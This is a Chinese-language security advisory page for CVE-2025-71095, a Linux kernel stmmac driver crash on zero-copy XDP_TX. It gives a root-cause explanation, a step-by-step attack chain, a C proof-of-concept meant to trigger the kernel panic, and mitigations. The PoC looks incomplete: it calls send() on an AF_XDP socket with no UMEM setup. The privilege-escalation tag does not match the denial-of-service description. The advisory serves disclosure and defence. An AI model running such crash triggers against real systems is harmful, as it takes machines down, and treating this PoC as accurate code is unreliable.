IPBUF安全漏洞报告
English
CVE-2025-71095 CVSS 5.5 中危

Linux kernel stmmac驱动零拷贝XDP_TX崩溃漏洞(CVE-2025-71095)

披露日期: 2026-01-13
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71095
漏洞类型
内核崩溃
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux kernel stmmac driver

相关标签

Linux kernelstmmacXDP内核崩溃零拷贝内存损坏拒绝服务本地提权CVE-2025-71095

漏洞概述

CVE-2025-71095是Linux内核中stmmac(Synopsis DesignWare Ethernet MAC)网络驱动的一个中等严重度安全漏洞,CVSS评分5.5。该漏洞存在于驱动处理零拷贝XDP_TX(eXpress Data Path Transmit)操作时,由于内存类型检查缺失导致内核崩溃。当使用XSK(AF_XDP)零拷贝池的xdp_buff被转换为xdp_frame时,生成的xdp_frame内存类型为MEM_TYPE_PAGE_ORDER0,但stmmac_xdp_xmit_back()函数未正确检查内存类型,始终按page pool类型处理,导致无效内存映射访问,最终触发内核页错误(Oops)并引发系统崩溃。此漏洞为本地攻击向量,需要低权限认证,无需用户交互,可导致系统可用性完全丧失。

技术细节

该漏洞根本原因在于stmmac_xdp_xmit_back()函数对xdp_frame内存类型处理不当。当执行XDP_TX操作时,xdp_buff通过xdp_convert_buff_to_frame()转换为xdp_frame。对于基于page pool的xdp_buff,生成的xdp_frame内存类型为MEM_TYPE_PAGE_POOL;而对于零拷贝XSK池的xdp_buff,生成的xdp_frame内存类型为MEM_TYPE_PAGE_ORDER0。然而stmmac_xdp_xmit_back()函数未进行内存类型检查,统一按page pool类型处理,导致对MEM_TYPE_PAGE_ORDER0类型的xdp_frame进行错误的DMA映射操作。攻击者可通过构造特定的网络数据包触发XDP_TX零拷贝路径,访问非法虚拟地址(ffff80000000),触发dcache_clean_poc和__dma_sync_single_for_device函数中的页错误,最终导致内核恐慌(Kernel panic)。修复方案是在stmmac_xdp_xmit_back()中添加xdp_buff内存类型检查逻辑。

攻击链分析

STEP 1
步骤1
攻击者在目标系统上获取低权限用户身份,本地访问具有stmmac驱动的Linux系统
STEP 2
步骤2
攻击者配置AF_XDP零拷贝socket,绑定到使用stmmac驱动的网络接口
STEP 3
步骤3
通过socket发送网络数据包,触发XDP_TX操作,数据包使用零拷贝XSK池缓冲区
STEP 4
步骤4
xdp_buff转换为xdp_frame时生成MEM_TYPE_PAGE_ORDER0内存类型,但stmmac_xdp_xmit_back()未检查此类型
STEP 5
步骤5
驱动对xdp_frame执行错误的DMA映射操作,尝试访问非法虚拟地址ffff80000000
STEP 6
步骤6
触发内核页错误,在dcache_clean_poc和__dma_sync_single_for_device中产生Oops异常
STEP 7
步骤7
内核进入不可恢复状态,触发Kernel panic,系统完全崩溃导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// PoC concept for CVE-2025-71095 - stmmac zero-copy XDP_TX crash // This is a conceptual PoC demonstrating the vulnerability trigger condition #include <linux/bpf.h> #include <linux/if_link.h> #include <assert.h> #include <errno.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <libbpf.h> #include <bpf/libbpf.h> #include <net/if.h> #include <sys/socket.h> #include <sys/mman.h> // XDP program that forces XDP_TX action with zero-copy buffer SEC("xdp") int xdp_tx_zero_copy(struct xdp_md *ctx) { void *data = (void *)(long)ctx->data; void *data_end = (void *)(long)ctx->data_end; // Force XDP_TX to trigger the vulnerable code path // With AF_XDP zero-copy socket, the xdp_buff will have MEM_TYPE_PAGE_ORDER0 return XDP_TX; } int main(int argc, char **argv) { struct bpf_object *obj; struct bpf_program *prog; int ifindex, prog_fd, map_fd; struct bpf_map *xsk_map; if (argc < 2) { fprintf(stderr, "Usage: %s <ifindex>\n", argv[0]); return 1; } ifindex = atoi(argv[1]); // Load XDP program obj = bpf_object__open_file("xdp_tx_zero_copy.o", NULL); if (libbpf_get_error(obj)) { fprintf(stderr, "Error opening BPF object\n"); return 1; } bpf_object__load(obj); prog = bpf_object__find_program_by_name(obj, "xdp_tx_zero_copy"); prog_fd = bpf_program__fd(prog); // Attach XDP program bpf_xdp_attach(ifindex, prog_fd, XDP_FLAGS_DRV_MODE, NULL); // Create AF_XDP zero-copy socket and bind to interface // This setup triggers the zero-copy XSK pool path int sock = socket(AF_XDP, SOCK_RAW, 0); struct sockaddr_xdp addr = { .sxdp_family = AF_XDP, .sxdp_flags = XDP_ZEROCOPY, .sxdp_ifindex = ifindex, }; bind(sock, (struct sockaddr *)&addr, sizeof(addr)); // Send traffic to trigger XDP_TX with zero-copy buffers // This will cause the crash in stmmac_xdp_xmit_back() printf("Triggering zero-copy XDP_TX...\n"); while (1) { send(sock, "test", 4, 0); sleep(1); } return 0; } // Note: This PoC requires: // 1. Linux kernel with stmmac driver // 2. Network interface using stmmac driver (e.g., STM32, SoC Ethernet) // 3. AF_XDP zero-copy socket support // 4. The crash occurs due to memory type mismatch in stmmac_xdp_xmit_back()

影响范围

Linux kernel stmmac driver (特定版本需查看kernel.org commit 3f7823219407f2f18044c2b72366a48810c5c821, 45ee0462b88396a0bd1df1991f801c89994ea72b, 4d0ceb7677e1c4616afb96abb4518f70b65abb0d, 5e5988736a95b1de7f91b10ac2575454b70e4897, a48e232210009be50591fdea8ba7c07b0f566a13)

防御指南

临时缓解措施
如果无法立即更新内核,可通过以下方式缓解:1)禁用XDP功能(使用ip link set dev <ifname> xdp off);2)禁用AF_XDP零拷贝模式;3)限制非特权用户访问网络接口;4)使用网络命名空间隔离受影响的服务。但由于该漏洞为内核级缺陷,临时缓解措施可能影响网络功能,建议尽快应用官方安全补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表